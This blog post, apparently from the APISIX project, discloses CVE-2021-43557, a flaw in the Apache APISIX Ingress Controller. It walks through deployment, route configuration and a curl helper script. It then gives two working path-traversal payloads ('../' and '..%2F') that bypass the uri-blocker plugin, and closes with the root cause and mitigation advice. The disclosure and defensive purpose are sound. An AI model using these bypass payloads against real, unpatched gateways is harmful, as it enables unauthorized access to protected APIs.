Skip to main content

APISIX request_uri 变量控制不当,存在路径穿透风险

· 阅读需约 7 分钟

在这篇文章中,将介绍我对 Apache APISIX Ingress Controller 中 $request_uri 变量不安全使用的问题研究。

本文提及的 Ingress Controller 中 $request_uri 变量不安全使用的问题,目前该漏洞已被确认为 CVE-2021-43557。在向社区及时反馈后,目前该漏洞已第一时间被修复。同时在文章最后,我也将简要地提到我为同一问题测试的Skipper 项目。

Apache APISIX 是一个动态、实时、高性能的 API 流量处理平台,它提供了丰富的流量管理功能,如负载均衡、动态上游、金丝雀发布、断路器、身份认证、可观测性等。

为什么是 $request_uri

$request_uri在认证和授权插件中被多次使用。因为它是not normalized,所以就增加了绕过一些限制的可能性。

Apache APISIX 内置多种身份认证插件,当然,你也可以编写自定义插件。为了验证它受到了路径遍历问题的影响,我选择了 uri-blocker 插件进行演示。

开始部署

在这里,我使用了 0.7.2 版本的 Helm Chart 来将 Apache APISIX 部署至 Kubernetes 中:

helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
kubectl create ns ingress-apisix
helm install apisix apisix/apisix \
--set gateway.type=NodePort \
--set ingress-controller.enabled=true \
--namespace ingress-apisix \
--version 0.7.2
kubectl get service --namespace ingress-apisix

如果安装时出现问题,请参考官方指南

接着,我部署了一条 ApisixRoute 资源以便创建 Ingress 路由:

apiVersion: apisix.apache.org/v2beta1
kind: ApisixRoute
metadata:
name: public-service-route
spec:
http:
- name: public-service-rule
match:
hosts:
- app.test
paths:
- /public-service/*
backends:
- serviceName: public-service
servicePort: 8080
plugins:
- name: proxy-rewrite
enable: true
config:
regex_uri: ["/public-service/(.*)", "/$1"]
- name: protected-service-rule
match:
hosts:
- app.test
paths:
- /protected-service/*
backends:
- serviceName: protected-service
servicePort: 8080
plugins:
- name: uri-blocker
enable: true
config:
block_rules: ["^/protected-service(/?).*"]
case_insensitive: true
- name: proxy-rewrite
enable: true
config:
regex_uri: ["/protected-service/(.*)", "/$1"]

ApisixRoute 可以做到以下内容:

  • public-serviceprivate-service 创建路由;
  • 开启 proxy-rewrite 来删除前缀;
  • protected-service 配置了 uri-blocker 插件。这个插件会阻止任何以 /protected-service 开头的请求。

复现步骤

在这里,我使用的是 2.10.0 版本的 Apache APISIX。

选择使用 minikube 来访问 Apache APISIX 路由资源:

kubectl exec -it -n ${Apache APISIX namespace} ${Apache APISIX Pod name} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'

此外,我也写了一个脚本来减少重复性操作:

#/bin/bash

kubectl exec -it -n ingress-apisix apisix-dc9d99d76-vl5lh -- curl --path-as-is http://127.0.0.1:9080$1 -H 'Host: app.test'

在尝试复现问题时,可将 apisix-dc9d99d76-vl5lh替换为实际的 Apache APISIX Pod 名称。

接下来让我们开始验证路由和插件是否按预期正常工作:

$ ./apisix_request.sh "/public-service/public"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
{"data":"public data"}
$ ./apisix_request.sh "/protected-service/protected"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>openresty</center>
</body>
</html>

从上边我们看到,public-service 是可用的,protected-service 则被插件阻止了。

现在让我们测试一下 Payload:

  • 情况一
$ ./apisix_request.sh "/public-service/../protected-service/protected"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
{"data":"protected data"}
  • 情况二
$ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
{"data":"protected data"}

正如你所看到的,在上述两种情况下,我都能够绕过 Uri 的限制。

漏洞解析

出现上述情况的根本原因是 uri-blocker 插件在处理禁止访问的逻辑中使用了 ctx.var.require_uri 变量。可以点击相关代码进行查看。

Cause
Click to Preview

漏洞影响

  • 攻击者可以绕过访问控制限制逻辑,访问本应该禁止的 API;
  • 自定义插件的开发者或许不知道 ngx.var.request_uri 变量是不可信任的。

在搜索 var.request_uri 相关用法时,我猜测上述漏洞或许对 authz-keycloak 插件也有影响。

具体细节详情可以参考这段代码。如果 keycloak 方面没有进行相关规范化,那么出现漏洞的可能性就很大。

处理措施

关于此漏洞的解决方法,我个人建议如果是使用自定义插件的话,可在使用 ngx.var.request_uri 变量前进行路径规范化的相关处理。同时可以额外检查下 ctx.var.upstream_urictx.var.uri 这两个变量,虽然可能已经被规范化了,但防患于未然。

Skipper

Skipper 是我个人在进行上述安全漏洞调查时接触到的另一个 Ingress Controller。因其内容久远未更新,在 Kubernetes 中安装它并不容易。幸运的是,我在开发者文章里找到了如何安装它的相关内容。

这项 Ingress 提供了基于 WebHook filter 实现的外部认证可能性。

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: my-ingress
annotations:
zalando.org/skipper-filter: |
modPath("^/.*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")

通过添加一些 headers 可以优化访问控制决策,但需要用 setRequestHeader 过滤器手动完成。

有一个模板可以通过使用 ${} 来注入变量,但遗憾的是(对攻击者来说)${request.path} 有正常化的路径。在它的开发代码中可以看到,开发人员并没有轻易使用 RequestURIoriginalRequest

我没有进行相关的路径遍历测试,或许 Skipper 也是安全可信的一个 Ingress Controller 选择。

总结

虽然前文中我提到了 Apache APISIX 存在路径遍历的漏洞,但该漏洞并不影响任何外部认证,只是影响了使用 ctx.var.request_uri 变量的插件。同时该漏洞已被 Apache APISIX 进行了及时修复,目前已没有安全漏洞问题,大家可放心使用。

关于本文中提到的全部代码都可以在这里进行查阅参考。